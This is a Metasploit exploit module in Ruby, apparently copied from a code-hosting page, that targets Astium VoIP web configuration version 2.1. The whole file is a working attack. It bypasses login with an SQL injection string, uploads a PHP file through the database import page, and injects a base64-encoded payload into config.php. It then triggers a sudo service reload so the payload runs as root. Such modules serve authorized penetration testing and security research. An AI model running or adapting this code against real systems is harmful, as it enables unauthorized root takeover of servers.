Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/astium_sqli_upload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking # Configuration is overwritten and service reloaded78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info={})12super(update_info(info,13'Name' => "Astium Remote Code Execution",14'Description' => %q{15This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and16lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain17admin access. From an admin session arbitrary PHP code upload is possible. It is used18to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the19"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve20remote root code execution.21},22'License' => MSF_LICENSE,23'Author' =>24[25'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module26],27'References' =>28[29[ 'OSVDB', '88860' ],30[ 'EDB', '23831' ]31],32'Platform' => ['php'],33'Arch' => ARCH_PHP,34'Targets' =>35[36['Astium 2.1', {}]37],38'Privileged' => true,39'DisclosureDate' => '2013-09-17',40'DefaultTarget' => 0))4142register_options(43[44OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),45])46end4748def uri49return target_uri.path50end5152def check53# Check version54vprint_status("Trying to detect Astium")5556res = send_request_cgi({57'method' => 'GET',58'uri' => normalize_uri(uri, "en", "content", "index.php")59})6061if res and res.code == 302 and res.body =~ /direct entry from outside/62return Exploit::CheckCode::Detected63else64return Exploit::CheckCode::Unknown65end66end6768def exploit69print_status("Access login page")70res = send_request_cgi({71'method' => 'GET',72'uri' => normalize_uri(uri),73'vars_get' => {74'js' => '0',75'ctest' => '1',76'origlink' => '/en/content/index.php'77}78})7980if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/81session = $182print_good("Session cookie is [ #{session} ]")83redirect = URI(res.headers['Location'])84print_status("Location is [ #{redirect} ]")85else86fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")87end888990# Follow redirection process91print_status("Following redirection")92res = send_request_cgi({93'uri' => "#{redirect}",94'method' => 'GET',95'cookie' => "astiumnls=#{session}"96})9798if not res or res.code != 20099fail_with(Failure::Unknown, "#{peer} - Redirect failed!")100end101102103sqlirandom = rand_text_numeric(8)104105# SQLi to bypass authentication106sqli="system' OR '#{sqlirandom}'='#{sqlirandom}"107108# Random password109pass = rand_text_alphanumeric(10)110111post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"112print_status("Using SQLi to bypass authentication")113res = send_request_cgi({114'method' => 'POST',115'uri' => normalize_uri(uri, "/en", "logon.php"),116'cookie' => "astiumnls=#{session}",117'data' => post_data118})119120if not res or res.code != 302121fail_with(Failure::Unknown, "#{peer} - Login bypass was not succesful!")122end123124# Random filename125payload_name = rand_text_alpha(rand(10) + 5) + '.php'126127phppayload = "<?php "128# Make backup of the "/usr/local/astium/web/php/config.php" file129phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"130# Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,131# else during the config reload it might happen that an extra shell is spawned as the apache user.132phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"133phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"134phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"135phppayload << "fclose($f);"136# Reload astcfgd using sudo (so it will read our payload with root privileges).137phppayload << "system('sudo /sbin/service astcfgd reload');"138# Sleep 1 minute, so that we have enough time for the reload to trigger our payload139phppayload << "sleep(60);"140# Restore our original config.php, else the Astium web interface won't work anymore.141phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"142phppayload << "fwrite($f, $orig);"143phppayload << "fclose($f);"144phppayload << "?>"145146post_data = Rex::MIME::Message.new147post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")148post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")149file = post_data.to_s150151print_status("Uploading Payload [ #{payload_name} ]")152res = send_request_cgi({153'method' => 'POST',154'uri' => normalize_uri(uri, "en", "database", "import.php"),155'ctype' => "multipart/form-data; boundary=#{post_data.bound}",156'cookie' => "astiumnls=#{session}",157'data' => file158})159160# If the server returns 200 and the body contains our payload name,161# we assume we uploaded the malicious file successfully162if not res or res.code != 200 or res.body !~ /#{payload_name}/163fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")164end165166register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")167168print_status("Requesting Payload [ #{uri}upload/#{payload_name} ]")169print_status("Waiting as the reloading process may take some time, this may take a couple of minutes")170res = send_request_cgi({171'method' => 'GET',172'uri' => normalize_uri(uri, "upload", "#{payload_name}")173}, 120)174175# If we don't get a 200 when we request our malicious payload, we suspect176# we don't have a shell, either.177if res and res.code != 200178print_error("Unexpected response...")179end180181end182end183184185